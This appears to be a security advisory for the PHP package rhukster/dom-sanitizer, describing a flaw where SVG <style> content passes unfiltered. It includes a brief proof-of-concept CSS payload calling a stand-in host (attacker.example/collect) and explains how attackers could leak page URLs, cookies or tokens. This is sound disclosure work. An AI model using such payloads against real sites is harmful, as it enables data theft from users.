GHSA-93vf-569f-22cq rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives

• Packagist rhukster/dom-sanitizer: < 1.0.10 → fixed in 1.0.10

Summary DOMSanitizer::sanitize() allows elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Details In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them. Vulnerable code (src/DOMSanitizer.php, line 31): ```php 'svg' => ['style', 'path', 'rect', 'circle', ...], ``` The following payload survives sanitize() intact: ```svg • { background: url(https://attacker.example/collect); } ``` PoC ```php • { background: url(https://attacker.example/collect); }'; $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); $output = $sanitizer->sanitize($svg); echo $output; // with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg) ``` Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect. Impact Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.